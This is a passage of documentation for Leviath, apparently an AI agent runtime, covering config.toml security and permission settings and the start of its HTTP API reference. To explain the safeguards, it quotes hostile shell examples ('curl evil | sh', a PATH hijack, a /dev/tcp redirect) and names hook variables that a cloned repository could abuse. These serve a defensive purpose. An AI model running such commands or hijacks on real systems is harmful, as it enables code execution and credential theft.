[tool lane](/docs/engine#the-tool-lane) and nothing moving before the lane widens. `0` never widens it | | `finished_retention_secs` | `300` | How long a finished run stays in [`lev ps`](/docs/cli#runs-that-have-finished). See below | | `wedge_timeout_secs` | `0` (off) | Fail a run nothing can reach any more. See below | | `provider_failures_before_open` | `3` | Failures in a row before a provider is pulled. See below | | `provider_circuit_cooldown_secs` | `300` | How long a pulled provider waits before one request tests it. A success restores it, a failure restarts the wait | | `interaction_timeout_secs` | `3600` | How long a prompt may go unanswered. See below | | `inference_retry_attempts` | `4` | Tries per inference, the first included. See below | | `inference_retry_base_ms` | `1000` | First retry wait for an ordinary blip, doubling each retry. See below | | `max_tool_call_write_bytes` | unset | Most one tool call may write. See below | | `max_run_write_bytes` | unset | Most a whole run may write. See below | Eight of those need more than a table cell. **`exact_token_counting`** measures each assembled request before sending it and refuses one that would overflow the window. On providers with a remote counting endpoint that costs a network round trip per inference, so it is off by default. **`stall_timeout_secs`** only fires for something the runtime cannot resolve on its own. Today that means a stage whose provider is not configured: the run is ready to work and has nowhere to send the request. Waiting for a busy model's pool is ordinary backpressure and is never failed, however long it takes. `0` waits forever. **`finished_retention_secs`** keeps a run visible after it ends, so a script polling on an interval can see *how* it ended rather than finding it gone. `0` drops it immediately. The record is held in memory, so a daemon restart clears it whatever you set. **`wedge_timeout_secs`** fails a run that is sitting in a state no part of the engine can reach, rather than leaving it reported as running. A slow run never trips it: an agent waiting on the model, a tool, its sub-agents, or a person is exempt however long it takes. It is off by default because it fails runs, and that should be your decision. `300` is sensible if something outside Leviath is tracking your slots. See [External work queues](/docs/work-queues). **`provider_failures_before_open`** counts failures only you can fix, such as an exhausted account or a rejected key, before that provider is taken out of service for every run. Three rather than one, because a single payment error can just be one oversized request. `0` disables it and leaves per-run failover to cope alone. **`inference_retry_attempts`** and **`inference_retry_base_ms`** set how hard a failed model call is retried before the agent is failed and its finished work is thrown away. Only a *transient* failure is retried at all: a reset connection, a timeout, a 429, a 5xx. A rejected key or an over-long request fails on the first answer, because the second would be the same. There are two schedules, and only the blip one is configurable. An ordinary blip waits `inference_retry_base_ms` and doubles, so the default four attempts are 1s, 2s, 4s. A **capacity** refusal - a 429, or Anthropic's 529 "overloaded" - waits 15s, 30s, then 60s per further attempt instead, because an overload window lasts minutes and a second of waiting only buys another refusal. When the provider sends a `Retry-After`, that answer wins over both, capped at a minute. Raising `inference_retry_attempts` is therefore how a run rides out a longer outage: `6` gives a capacity failure about four minutes of waiting rather than about one and a half. Whatever you set, the retries of a single request sleep **at most five minutes in total**, and the request itself is still bounded by its stage's `request_timeout_secs`, so a run can never wait indefinitely. **`interaction_timeout_secs`** puts a deadline on any prompt that waits on a person: `ask_user_*`, tool approvals, taint gates, and interaction points. When it expires the daemon resolves the prompt and lets the run continue. An expiry *denies* an approval and tells the model no answer came. It never counts as consent. `0` waits indefinitely. See [when nobody answers](/docs/interaction#when-nobody-answers). **`max_tool_call_write_bytes`** and **`max_run_write_bytes`** bound how much an agent puts on disk. Both are **unset in code and written by `lev setup`**, which is the unusual part and is deliberate. How much an agent should be allowed to write depends on what you are doing with it, so Leviath imposes nothing on a config it did not write. A fresh install gets concrete numbers here, where you can see them and **delete the line to remove the limit**. The incident behind them was a single shell call appending in a loop until the 60-second timeout. That put about 14 GB on disk from one call that looked ordinary, and it repeated until the disk was full. They work differently because they have to. `write_file` and `edit_file` carry their content as an argument, so an oversized one is refused before a byte lands. A shell redirect does not: those bytes go from the shell to the file without passing through Leviath, so the target is measured *after* the call. That stops the call after the one that overran, not the one that did. Running out of disk is separate and **not configurable**. Leviath refuses any write that would leave under a gigabyte free, whatever these two say and whatever `--yolo` says, because filling the disk harms every other process on the machine rather than just the run. A filesystem whose free space cannot be read is treated as unknown and allowed, because a guard that cannot measure has nothing to say. The two ceilings above still apply to it. ## `[security]` Machine-wide switches that are not part of the per-tool permission cascade. ```toml [security] allowed_workdirs = [] # workdir roots lev run accepts without a confirm prompt allow_seed_commands = true allow_local_network = false allow_env_vars = ["MY_PROVIDER_KEY"] allow_blueprint_read_paths = false allow_blueprint_safe_commands = false allow_blueprint_permissions = false shell_env = "filtered" # filtered | strict | custom | inherit shell_env_withhold = [] # names withheld under shell_env = "custom" read_paths = ["~/.leviath/runs", "glob:~/design-docs/**"] credential_store = "file" # file | keychain ``` | Key | Default | Notes | |---|---|---| | `allowed_workdirs` | `[]` | Directories a run's workdir may sit under without being confirmed. See below | | `allow_seed_commands` | `true` | Whether a blueprint's `seed = { command = "..." }` regions may run at all. See below | | `allow_local_network` | `false` | Whether agent fetches may reach loopback, private, and link-local addresses. See below | | `allow_env_vars` | `[]` | Credential-shaped variable names a Rhai script may read through `env_var()`. Exact and case-insensitive, no wildcards | | `allow_blueprint_read_paths` | `false` | Honors every blueprint's `[read_paths]` as written. Prefer a per-agent grant for anything you did not author | | `allow_blueprint_safe_commands` | `false` | Honors every blueprint's `[safe_commands]` as written. Off, an installed agent cannot pre-approve its own shell | | `allow_blueprint_permissions` | `false` | Honors every blueprint's `[tool_permissions]`, even above the built-in default. See below | | `shell_env` | `"filtered"` | Which of the daemon's environment variables a shell command inherits. See below | | `shell_env_withhold` | `[]` | The names `shell_env = "custom"` withholds. Ignored under every other mode | | `read_paths` | `[]` | Machine-wide read grants, which apply only where a blueprint declares the path too. See below | | `credential_store` | `"file"` | `keychain` moves secrets to the OS credential store. Run `lev auth migrate` after changing it | Five of those need more than a table cell. **`allowed_workdirs`** silences the confirm prompt for everything under a listed path. Left empty, `lev run` asks only about the alarming cases: a home directory, or a filesystem root. **`allow_seed_commands`** covers commands that run at spawn, before the first approval prompt. Because there is nobody to ask at that moment, a seed command also has to be covered by `[safe_commands]`. `--no-seed-commands` refuses seed commands for one run. **`allow_local_network`** is off by default. Off, an agent's fetches cannot reach cloud metadata endpoints, your own `lev serve`, or anything else on your LAN. **`allow_blueprint_permissions`** off still lets a blueprint pre-approve `web_search` and `web_fetch`. Anything else is clamped to the built-in default. To grant one tool to one agent instead, name it under `[agent_tool_permissions.]`. **`read_paths`** opens nothing on its own. A grant applies only to a path the blueprint also declares, so both halves have to name it. Grant entries (here and in `[agent_read_paths]`) take three forms: an exact path, which grants its subtree; `glob:` patterns; and `regex:` patterns, auto-anchored. Both patterns are matched against the symlink-resolved real path and are written with `/` on every OS. `~/` expands to your home, and a relative entry resolves against the run's workdir. Full walkthrough in [Security](/docs/security#reading-outside-the-workdir). ## `[agent_read_paths.]` Per-agent read grants, the itemized counterpart of `allow_blueprint_read_paths`. ```toml [agent_read_paths.cto] allow = ["~/.leviath/runs", "glob:~/design-docs/**"] ``` An agent's declarations mean nothing until one of these grants lands, so `lev validate ` checks each declared entry against this file and prints the block above, filled in, for whatever it does not find. `lev list` and `lev ps` carry the same counts. ## Tool permissions `[tool_permissions]` sets a machine-wide ceiling. A blueprint's own `[tool_permissions]` may tighten it but never loosen it. For a tool you have not listed here there is no ceiling to clamp against, so a blueprint may raise it no higher than the built-in default. The exceptions are `web_search` and `web_fetch`, which read-only research agents pre-approve. To go further, name the tool under `[agent_tool_permissions.]`, or set `[security] allow_blueprint_permissions`. ```toml [tool_permissions] shell = "ask" # allow | ask | deny write_file = "ask" read_file = "allow" ``` `[agent_tool_permissions.]` is the escape hatch. Naming an agent replaces the global value for it, and that becomes the ceiling its blueprint is clamped against. ```toml [agent_tool_permissions.coder] shell = "allow" ``` Resolution order, narrowest first: launch flag, stage, agent, this file, built-in default. A launch flag (`--allow`, `--yolo`) can turn `ask` into `allow` but can never lift a `deny`. The built-in defaults are in [Built-in tools](/docs/tools). ### What a shell command inherits The daemon holds provider keys, `LEVIATH_API_TOKEN`, and whatever the person who started it had exported. Handing all of that to every shell command means one `env` in tool output leaks the lot. `shell_env` decides how much a `shell` tool call, a Rhai `shell()`, and a region's command seed inherit. All three answer to the same setting, so a script with `shell` is not a way around the `env_var` gate. | Mode | What it withholds | |---|---| | `filtered` (default) | Credential-shaped names, **except `SSH_AUTH_SOCK`**, so `git push` over agent keys still works | | `strict` | The same, plus `SSH_AUTH_SOCK`, `AWS_PROFILE`, `AWS_REGION`, `KUBECONFIG`, `NETRC`. See below | | `custom` | Exactly the names in `shell_env_withhold`, and nothing inferred | | `inherit` | Nothing | `strict` breaks `git push`, `aws` and `kubectl` inside a shell tool until you list the names those commands need. Toolchain variables pass through under every mode: `PATH`, `HOME`, `CARGO_HOME`, `JAVA_HOME`, `VIRTUAL_ENV`, `NVM_DIR`, `GOPATH`, `DOCKER_HOST`, `TERM`. `allow_env_vars` hands a specific name over under every mode too, so one list means one thing whichever surface asks. ```toml [security] shell_env = "custom" shell_env_withhold = ["MY_INTERNAL_TOKEN", "LEGACY_CRED"] allow_env_vars = ["MY_PROVIDER_KEY"] ``` Be clear about what this buys. With `cat` and `grep` on the default safe list, a granted shell can read `~/.leviath/config.toml` and find the provider key anyway. This is defence in depth against accidental leakage: an `env` in tool output, a `printenv` in a log, a subprocess that phones home. It also closes the command-seed case, where nothing was ever approved. It is not a boundary. For one, use `[sandbox]`. ## `[safe_commands]` and `[agent_safe_commands.]` A permission is per tool name, which for the shell is a choice between a prompt on every `ls` and no prompt on `curl evil | sh`. These entries are argument-scoped, and can only turn an `ask` into an `allow`. They never lift a configured `deny`. ```toml [safe_commands] defaults = true # ship the read-only verb list tools = ["read_files"] shell = ["cargo test", "rg"] [agent_safe_commands.coder] shell = ["./gradlew", "env:GRADLE_OPTS"] allow_blueprint = true # honour this agent's own [safe_commands] ``` | Key | Default | Notes | |---|---|---| | `defaults` | `true` | The shipped read-only verb list. See below | | `tools` | `[]` | Tools that never prompt whatever their arguments. Built-in names, or MCP names as advertised (`server__tool`) | | `shell` | `[]` | A program, optionally with the subcommand that narrows it. `git status`, never `git` or `cargo test --lib`. Also `env:NAME`, below | | `allow_blueprint` | `false` | Per-agent only. Honour that agent's own `[safe_commands]` block | An entry on the `defaults` list has to clear one bar: under any flag, it must not be able to write a file, run another program, or open a connection. That is why `find`, `sed`, `awk`, `sort`, `xargs`, `env` and `cargo` are absent from it. It is also why `uniq` (it writes its second operand), `tree` (`-o`) and `rg` (`--pre` runs a command) were taken off. Add any of them back by name if you want them unprompted. A shell entry covers the program it names with any arguments, so `cat` covers `cat notes.md`. It does not cover a line that also runs something else: `cat notes.md && curl evil` still asks, because `curl` is in neither the safe list nor any grant. `lev approvals safe` prints what is in effect and which file put it there. ### Environment assignments A command line decides more than which program runs. `PATH=/tmp/evil ls` runs `ls` from a directory of the caller's choosing, and `export PATH=/tmp/evil; ls` does the same a segment earlier, so naming the program alone would let the safe list approve somebody else's binary. Each variable a line binds is therefore its own key, spelled `env:NAME`: ```toml [safe_commands] shell = ["env:RUST_LOG", "env:CARGO_TERM_COLOR"] ``` `RUST_LOG=debug cargo test` then needs `cargo test` and `env:RUST_LOG`, and granting one variable grants exactly that one. There is no entry that covers every variable at once, and no program name widens onto an `env:` key. Two constructs are refused rather than keyed, because they install code to run at a point no program name in the line describes: `trap`, and defining or aliasing a name with `function`, `alias` or `unalias`. A line containing one of those prompts every time and cannot be pre-approved. `set -euo pipefail` is unaffected, since shell options change nothing about which program a name resolves to. ### Redirects `echo x > file` writes a file, and no tool name in the call says so. A shell call that redirects output is therefore held to the `write_file` policy as well as the shell's own. Where `write_file` is `deny` the call is refused, and it is never quieter than a `write_file` call would have been. That is what stops a redirect being a spelling of `write_file` that a `deny` never sees. Each target is also its own key, so an approval names what is being written: ``` Allow cat notes.md, >/tmp/report.txt for this run ``` A write cannot be pre-approved in a config file the way a program can. `[safe_commands] shell` rejects any entry beginning with `>`. A write is approved by a person, per target, or not at all. Three shapes cost nothing, because they write nothing that outlives the call. The first is the throwaway devices: `/dev/null`, `/dev/stdout`, `/dev/stderr`, `/dev/tty` and `/dev/fd/*`. The second is a descriptor duplication such as `2>&1`. The third is a read redirect, since a program that can read a file could already read it. So `cargo build > /dev/null 2>&1` and `cat notes.md 2>/dev/null` are as quiet as they were. Two shapes cannot be granted at all. A target that only exists after expansion (`> $OUT`) names a different file on every run. Bash's `> /dev/tcp/host/port` is a socket rather than a file, which makes the redirect a network channel no program name describes. Both prompt every time. ## `[tool_script_permissions]` Layer 3 of the permission model: what a Rhai script tool may *do*, independent of whether the tool is visible or approved. Each key is `allow`, `deny`, or `inherit`. ```toml [tool_script_permissions] http_get = "inherit" http_post = "inherit" shell = "inherit" read_file = "inherit" write_file = "inherit" env_var = "inherit" ``` Every field defaults to `inherit`. For `shell`, `read_file`, and `write_file`, that defers to the agent's own permission for the equivalent built-in and permits the call only when it resolves to `allow`. For `http_get`, `http_post`, and `env_var`, which have no built-in equivalent, `inherit` permits the call; the tool itself is still gated by the other three layers. See [Rhai tools](/docs/rhai-tools). ## `[sandbox]` The machine-wide default sandbox for tool execution. An agent's or stage's own `[sandbox]` overrides it, and the two resolve to the **stronger** of the pair, so an installed agent can tighten its sandbox but never turn one off. ```toml [sandbox] kind = "container" # none | namespace | container image = "debian:bookworm-slim" engine = "docker" # docker | podman | nerdctl | finch; auto-detected when unset network = true mounts = ["/opt/toolchain:ro"] persist = false on_unavailable = "error" # error | warn ``` Unset entirely, agents run tools on the host. Details in [Security and sandboxing](/docs/security#sandboxes). ## `[rate_limits.]` Client-side limits enforced before every call, for the built-in providers (`anthropic`, `openai`, `google`, `openrouter`). ```toml [rate_limits.anthropic] requests_per_minute = 50 tokens_per_minute = 40000 ``` This shapes request *rate*. `[limits] max_concurrent_inferences` bounds *concurrency*. Both apply. Script providers configure theirs under `[model_providers..rate_limit]` instead. ## Keys nothing reads A key Leviath does not recognize is named at start-up rather than ignored, wherever it sits: ``` WARN config.toml has keys nothing reads; they are being ignored. keys=limits.max_concurrent_tool, cache, providers.anthropic_cach_ttl ``` `lev doctor` reports the same list, for when that scrolls past. It also names a `[rate_limits.]` entry whose provider does not exist, which is a case the key check cannot see: that table takes any name, so a misspelled provider deserializes perfectly and throttles nothing. This is a warning, not an error. Every command reads `config.toml`, so one stale key should not take the CLI down. A blueprint is different: it is authored and validated deliberately, and it fails on an unknown key. The one place unrecognized keys are *kept*: `[model_providers.]` forwards anything it does not recognize to the Rhai script, so those are read and never reported. ## `[model_capabilities.]` Per-model corrections to the provider's built-in capability table. Useful for a local or self-hosted model Leviath does not know, or one whose window it has wrong. **Name only what you are changing.** Every field is optional and an unnamed one keeps whatever the provider already reports for that model, so the common case is one line: ```toml [model_capabilities."moonshotai/kimi-k3"] max_context_tokens = 1048576 ``` A misspelled key is refused at load rather than ignored, so a typo cannot look like a working override. The full set, when you do want to state all of it: ```toml [model_capabilities.my-local-llama] supports_temperature = true supports_streaming = true supports_tools = true supports_system_prompt = true max_context_tokens = 32768 max_output_tokens = 4096 ``` `lev models show ` prints the values a run will actually use, with any correction already applied. ### Where a window comes from Three sources, narrowest first: 1. A `[model_capabilities]` entry, if you wrote one. Your number is the last word, which is how you correct an API that is itself wrong. 2. What the provider's own API reports, read once when the daemon starts. OpenRouter fronts far more models than any compiled table can name, so its `/models` endpoint is the only current answer for most of them. 3. The table compiled into this build, and for an OpenRouter model it does not name, a conservative 128,000 tokens. The reason this order matters is that region budgets are percentages of the window. A `budget = "30%"` region on a model that really holds 1M tokens is 314,572 tokens if the window is known, and 38,400 if it fell back. Neither case raises an error. The agent evicts working material early and reads as a worse model. A provider that cannot be reached at start-up costs nothing but the fallback: Leviath warns, keeps the compiled table, and starts. It warns once per model when a run does land on the fallback, naming the line that fixes it. > [!NOTE] > Region budgets written as percentages resolve against `max_context_tokens`, so a wrong window is > not cosmetic. A `budget = "30%"` region on a model assumed to be 128k gets 38 400 tokens instead > of the 314 572 a 1M-token model would give it. OpenRouter fronts far more models than any built-in > table names, so Leviath warns once per model when it falls back to a conservative window and tells > you the line to add here. ## `[model_providers.]` Optional overrides for a [Rhai script provider](/docs/rhai-providers). A script activates by being referenced and existing in `~/.leviath/providers/`; this table only supplies extras. ```toml [model_providers.groq] script = "groq" # defaults to .rhai api_key = "..." base_url = "https://api.groq.com/openai/v1" [model_providers.groq.rate_limit] requests_per_minute = 30 tokens_per_minute = 100000 ``` Any other key you add is forwarded verbatim to the script's `initialize(config)`. ## `[[mcp_servers]]` [MCP](/docs/mcp) tool servers. `lev mcp add` writes these for you. ```toml [[mcp_servers]] name = "github" transport = "http" # stdio | http; inferred from command/url when omitted url = "https://api.example.com/mcp" headers = { Authorization = "Bearer ${GITHUB_TOKEN}" } [[mcp_servers]] name = "local-fs" transport = "stdio" command = "npx" args = ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"] env = { LOG_LEVEL = "debug" } ``` Values in `headers` and `env` may use `${VAR}` to pull from the environment. ## `[nudge]` Machine-wide defaults for the empty-response nudge: the `[System]` message injected when a stage's model replies with text before making any tool call. ```toml [nudge] enabled = true max = 3 text = "You have tools available. Please use them to complete the task. Start by reading the relevant files in the working directory." ``` All three keys are optional and each is overridden independently by an agent's `[agent.nudge]` or a stage's `[stages..nudge]`. `text` supports `{stage}` and `{regions}` placeholders. Defaults are on, `max = 3`, and a built-in message. See [Nudging](/docs/stages#nudging). ## `[title]` Auto-generated short run titles. ```toml [title] enabled = true provider = "anthropic" model = "claude-haiku-4-5-20251001" ``` `enabled` defaults to `true`. `provider` and `model` fall back to the run's own first-stage provider and model. ## `[webhook]` Delivery tuning for completion webhooks. Every field has a default, so the whole section can be omitted. The webhook URL itself is per-spawn, not configured here; see [the API docs](/docs/api). ```toml [webhook] max_retries = 3 # retries after the first attempt; 0 disables retries base_delay_ms = 500 # doubles per retry, capped at max_delay_ms max_delay_ms = 30000 timeout_secs = 10 # per attempt ``` ## `[observability]` OpenTelemetry export, off by default. Full walkthrough in [Observability](/docs/observability). ```toml [observability] enabled = true exporter = "otlp" # otlp | stdout | none endpoint = "http://localhost:4318" service_name = "leviath" ``` `endpoint` falls back to `OTEL_EXPORTER_OTLP_ENDPOINT`, then `http://localhost:4318`. Leviath exports OTLP over **HTTP/protobuf**, so a collector's gRPC port (4317) will not work. `service_name` falls back to `OTEL_SERVICE_NAME`, then `"leviath"`. ## Environment variables Leviath reads a `.env` file from the working directory unless `LEVIATH_SKIP_DOTENV` is set. Only that one file, never a walk up the tree, and a variable you have already exported always wins. A cloned repository *is* the working directory, so its `.env` is content somebody else wrote. Credentials from it load normally, which is what the feature is for. The handful of names that decide where configuration comes from, or what gets executed, are ignored instead, with a warning naming them. That covers the `LEVIATH_` namespace, `PATH`, `SHELL`, `EDITOR`, `VISUAL`, and the `LD_*` and `DYLD_*` loader variables. It also covers the interpreter and tool hook variables that turn a later command into code execution: `BASH_ENV`, `GIT_SSH_COMMAND` and the other `GIT_*` hooks, `PAGER`, `NODE_OPTIONS`, `PYTHONSTARTUP`, `PYTHONPATH`, `PERL5OPT`, `RUBYOPT`, `JAVA_TOOL_OPTIONS`, `RUSTC_WRAPPER`, and their kin. Without that, one line of `LEVIATH_CONFIG_PATH` in a repository you cloned would point Leviath at a config file of its choosing, with its own MCP server commands and tool permissions. Export those yourself if you meant them. | Variable | Effect | |---|---| | `LEVIATH_HOME` | Redirects the whole data root. Every home-relative path honors it, so an isolated test or a second install works | | `LEVIATH_CONFIG_PATH` | Path to an exact config file, bypassing the default location | | `LEVIATH_SKIP_DOTENV` | Set to skip `.env` loading | | `LEVIATH_RUNS_DIR` | Overrides where run directories are written | | `LEVIATH_API_TOKEN` | Bearer token for `lev serve`. The server refuses to start without one | | `LEVIATH_CONTROL_TIMEOUT_SECS` | Deadline for one control-socket request | | `LEVIATH_DASHBOARD_LOG_PATH` | Overrides the dashboard log file | | `LEVIATH_DUMP_REQUEST_DIR` | Writes each outgoing provider request to this directory, for debugging | | `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `GOOGLE_API_KEY`, `OPENROUTER_API_KEY` | Provider key fallbacks for `[providers]` | | `OLLAMA_HOST` | Fallback for `ollama_base_url` | | `OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_SERVICE_NAME` | Fallbacks for `[observability]` | | `EDITOR`, `VISUAL` | Editor used when a prompt opens one | | `XDG_CONFIG_HOME` | Where `policy.toml` and scripted rules are looked up. Linux only | > [!WARNING] > A variable whose name looks like a credential is not readable by Rhai scripts through `env_var()` > unless you list it in `[security] allow_env_vars`. That closed an exfiltration path where a > two-line script tool could read a provider key and POST it elsewhere with no prompt. ## Where things live on disk Everything persistent sits under the data root, `/.leviath`, which `LEVIATH_HOME` redirects. | Path | Holds | |---|---| | `config.toml` | This file, created `0600` | | `mcp-auth.json` | MCP OAuth tokens, created `0600` | | `runs/` | One directory per run: `meta.json`, `context.json`, `stages.json`, the `run.lvr` journal, per-stage logs | | `agents/` | Blueprints installed by `lev add` | | `providers/` | Drop-in [Rhai provider](/docs/rhai-providers) scripts | | `tools/` | Drop-in [Rhai tool](/docs/rhai-tools) scripts, offered to every agent | | `dashboard.log` | `lev dash` diagnostics | The daemon's control socket, its token, its pid file, and a build marker live here too. ## `policy.toml` Taint-gate policy lives in its own file, not in `config.toml`. It sits in your platform's config directory, managed with [`lev policy`](/docs/cli): | Platform | Path | |---|---| | macOS | `~/Library/Application Support/leviath/policy.toml` | | Linux | `~/.config/leviath/policy.toml`, or `$XDG_CONFIG_HOME/leviath/policy.toml` when set | | Windows | `%APPDATA%\leviath\policy.toml` | ```toml [[allowlist]] tool = "http_post" to = ["https://hooks.internal/*"] max_sensitivity = "internal" # public | internal | private [mcp_overrides."github.create_issue"] sensitivity = "internal" direction = "outbound" clearance = "internal" ``` Scripted rules live as `.rhai` files in a `rules/` directory beside `policy.toml`, so `~/Library/Application Support/leviath/rules/` on macOS and `~/.config/leviath/rules/` on Linux. See [Rhai tools](/docs/rhai-tools#policy-rules) and [Security](/docs/security#taint-tracking-experimental). ======================================================================== # HTTP API Source: https://leviath.dev/docs/stable/api # HTTP API (`lev serve`) `lev serve` exposes a REST + WebSocket API in front of the [daemon](/docs/daemon), so anything that speaks HTTP can drive Leviath, including [The Lair](https://leviath.dev/lair), the browser console. ```bash lev serve --port 3000 --token "$(openssl rand -hex 16)" --cors https://leviath.dev ``` Every route on this page is also published as a machine-readable [OpenAPI spec](https://leviath.dev/docs/stable/openapi.json), kept in lockstep with the server by a test, so a client generator or an agent can consume the contract directly. ## Security model - **A token is required.** The server refuses to start without `--token ` (or `LEVIATH_API_TOKEN`). Every request must send `Authorization: Bearer `; WebSocket clients pass it as `?token=` because browsers can't set WS headers. On shared machines prefer the environment variable: a `--token` value is visible to other local users in the process table (`ps`). - **CORS is closed by default.** Pass `--cors ` (e.g. `https://leviath.dev`) or `--cors "*"` to allow a browser to call it cross-origin. - **Binds to `127.0.0.1`** by default. `--host 0.0.0.0` exposes it on your network. Without `--tls-cert`, that puts the bearer token on the wire in cleartext for anyone on that network to read. If the address is publicly routable, that is the open internet. See [reaching a Leviath on another machine](#reaching-a-leviath-on-another-machine). - **`--tls-cert` / `--tls-key`** serve HTTPS instead of HTTP. Off by default, bring your own certificate; Leviath never generates one. - **`GET /` needs no token.** It returns a fixed "Leviath is running." page and nothing else: no version, no run counts, no endpoint list. It exists so a certificate can be accepted in a browser tab; see the section below. - **`--allow-admin`** mounts the mutating admin routes. `GET /api/config` and `GET /api/mcp/servers` are always available. The writes are only mounted with `--allow-admin`, and the route is genuinely absent without it rather than gated by a check inside the handler. What you get back depends on whether the path exists at all for another method: | Without `--allow-admin` | Response | |---|---| | `PUT /api/config` | 405, because `GET /api/config` is mounted | | `POST /api/mcp/servers` | 405, because `GET /api/mcp/servers` is mounted | | `DELETE /api/mcp/servers/{name}` | 404, because nothing else is mounted on that path | - **`--workdir-root`** confines agent workdirs; **`--no-remote-yolo`** forbids `"yolo": true` and `"allow": [...]` on spawn, which are one lever rather than two. > [!CAUTION] > `lev serve` runs LLM-driven tools with whatever permissions the blueprint grants. Treat it as > trusted-network only unless hardened. See [Security](/docs/security). ## Reaching a Leviath on another machine The short version: **`http://` only works on loopback.** Everything else needs HTTPS or a tunnel. A browser treats `http://localhost` and `http://127.0.0.1` as potentially trustworthy, which is the only reason the default setup works from a page served over HTTPS. Every other address is blocked, and **a LAN address is blocked exactly like a public one**. `http://192.168.1.50:3000` fails just as `http://203.0.113.10:8080` does: ``` Mixed Content: The page at 'https://leviath.dev/lair' was loaded over HTTPS, but requested an insecure resource 'http://203.0.113.10:8080/api/config'. This request has been blocked. ``` Two things that are *not* the problem, because they are what people reach for first: - **It is not CORS.** The request is killed inside the browser before it is sent, so it never reaches Leviath and `--cors` is never consulted. No response header on either side lifts a mixed-content block. - **The site cannot fix it.** leviath.dev is HTTPS-only, and an HTTPS page may not call `http://`. Pick whichever of these suits you. ### mkcert, if the browser and Leviath are on machines you control The best outcome: a certificate that is *fully* trusted, with no interstitial and nothing to accept. [mkcert](https://github.com/FiloSottile/mkcert) installs a local CA into your OS and browser trust stores and will issue for a bare IP. ```bash mkcert -install # once, on the machine running the BROWSER mkcert 192.168.1.50 # on the machine running Leviath lev serve --host 0.0.0.0 --port 3000 \ --tls-cert ./192.168.1.50.pem --tls-key ./192.168.1.50-key.pem \ --cors https://leviath.dev --token "$LEVIATH_API_TOKEN" ``` Installing a CA into your trust store is a real trust decision: anything holding that CA's key can issue a certificate your browser will believe. `mkcert` keeps the key on the machine that made it. ### Tailscale, for a publicly-trusted name `tailscale cert` issues a real certificate for your `*.ts.net` hostname, so nothing needs installing in a trust store and the port never faces the internet. ```bash tailscale cert my-box.tail1234.ts.net lev serve --host 0.0.0.0 --tls-cert my-box.tail1234.ts.net.crt \ --tls-key my-box.tail1234.ts.net.key --cors https://leviath.dev ``` ### Self-signed, as a fallback Works, with one manual step and one caveat. ```bash openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -keyout key.pem -out cert.pem -subj "/CN=leviath" \ -addext "subjectAltName=IP:192.168.1.50" lev serve --host 0.0.0.0 --tls-cert cert.pem --tls-key key.pem --cors https://leviath.dev ``` Then **open `https://192.168.1.50:3000/` in a browser tab and accept the warning.** That is what the unauthenticated `GET /` page is for: The Lair's requests are subresource `fetch` calls, which get no interstitial to click through, so the exception has to be established in a tab first. Afterwards The Lair works. Chrome discards accepted exceptions when the browser restarts, so this comes back. Firefox keeps them. iOS Safari is unreliable about it. ### SSH forward, if you would rather not deal with certificates Nothing to install on either end, and it puts you back inside the loopback exemption. ```bash ssh -N -L 3000:127.0.0.1:3000 you@that-machine ``` Then point The Lair at `http://127.0.0.1:3000`. Leave Leviath on its default `127.0.0.1` bind for this. `--host 0.0.0.0` is not wanted and only widens the exposure. ## Auth flow ```mermaid sequenceDiagram participant Client participant Serve as lev serve participant Daemon Client->>Serve: request + Authorization: Bearer alt token missing / wrong Serve-->>Client: 401 Unauthorized else authorized Serve->>Daemon: control-socket call Daemon-->>Serve: result Serve-->>Client: 200 JSON end ``` ## Endpoints Base path `/api`; all JSON unless noted. | Method · Path | Purpose | |---|---| | `GET /api/runs` | List runs: paginated, sortable, searchable. See [below](#listing-and-searching-runs) | | `GET /api/agents` · `POST /api/agents` | List runs *(deprecated, use `/api/runs`)* · spawn an agent. Reads the persisted records, so finished runs stay listed | | `GET /api/agents/{id}` · `DELETE …` | Get one · cancel | | `GET /api/agents/{id}/result` · `/context` | The run's answer and log tail · current context window | | `GET /api/agents/{id}/logs?stage=&stream=&tail=` | A run's logs. `stage`, `stream` and `tail` pick which stage, which stream, and how much | | `GET /api/agents/{id}/context/history` | How the context window changed over the run, paginated | | `GET /api/agents/{id}/stages` | The per-stage ledger: what each stage cost, which regions it carried, and whether it ran at all. See [below](#where-a-runs-cost-went) | | `GET /api/agents/{id}/files` | List a run's files, or read one with `?path=`. `offset` pages a large one. See [below](#a-runs-files) | | `GET /api/agents/tree` · `/{id}/tree-status` · `/{id}/children` | Sub-agent tree + token roll-ups | | `POST /api/agents/{id}/pause` · `/resume` | Pause a run · resume it | | `POST /api/agents/{id}/message` | Steer a running agent | | `GET/POST /api/agents/{id}/interaction` | Read / answer a pending question | | `GET/POST/PUT/DELETE /api/blueprints[/{name}]` · `/validate` | Blueprint CRUD + validation. The listing is paginated and takes `q` | | `GET /api/config` · `PUT /api/config` *(admin)* · `POST /api/config/validate` | Read redacted config · write keys · validate a key | | `GET /api/models` | Enumerate models | | `GET /api/tools?agent=` | What an agent here can actually call. See [below](#tools-and-scripts) | | `GET /api/scripts?agent=` · `GET/PUT/DELETE /api/scripts/{kind}/{name}` · `POST /api/scripts/validate` | Read and write the agent's Rhai. Writes need admin. See [below](#tools-and-scripts) | | `GET /api/mcp/servers` · `GET /{name}/status` · `POST /{name}/login` · `POST /{name}/test` | MCP servers (add/remove need admin) | | `GET /api/doctor` | The checks `lev doctor` runs, as data. A failing check is `ok: false` inside a 200, never an HTTP error | | `GET /api/fs/dirs?path=&hidden=` | One directory level of subdirectory names, for a folder picker. Absolute paths only, fenced by `--workdir-root`; `hidden=true` includes dot-prefixed names | | `GET /ws` · `GET /ws/agents/{id}` | Live event stream (all agents / one run) | On `/logs`, `stage` takes a stage index or `all`, and defaults to the current stage. `stream` is either `output`, the assistant's own text, or `logs`, which carries tool calls, token counts and errors. `tail` is a byte budget for how much of the end you get back. > [!NOTE] > A run object carries both `updated_at` and `last_progress_at`. The first advances on a 30-second > heartbeat and stays fresh on a run that has stopped; the second moves only when the run does. Age > a run against `last_progress_at`. `pid` is always 0 and means nothing: the daemon hosts every run > in one shared world, so there is no process per run. If you are tracking slots from outside, read > [reconciling an external work queue](/docs/work-queues) first. ## Listing and searching runs `GET /api/runs` returns a page, not the whole list: ```json { "items": [{ "meta": { "run_id": "…" }, "highlights": [] }], "next_cursor": "7b2276…", "total": 340, "server_time": 1785869070 } ``` Pass `next_cursor` back as `cursor` and loop until it comes back null. Do not count pages against `total`. It is what matched at the moment of that one request, and runs are being created and finished underneath 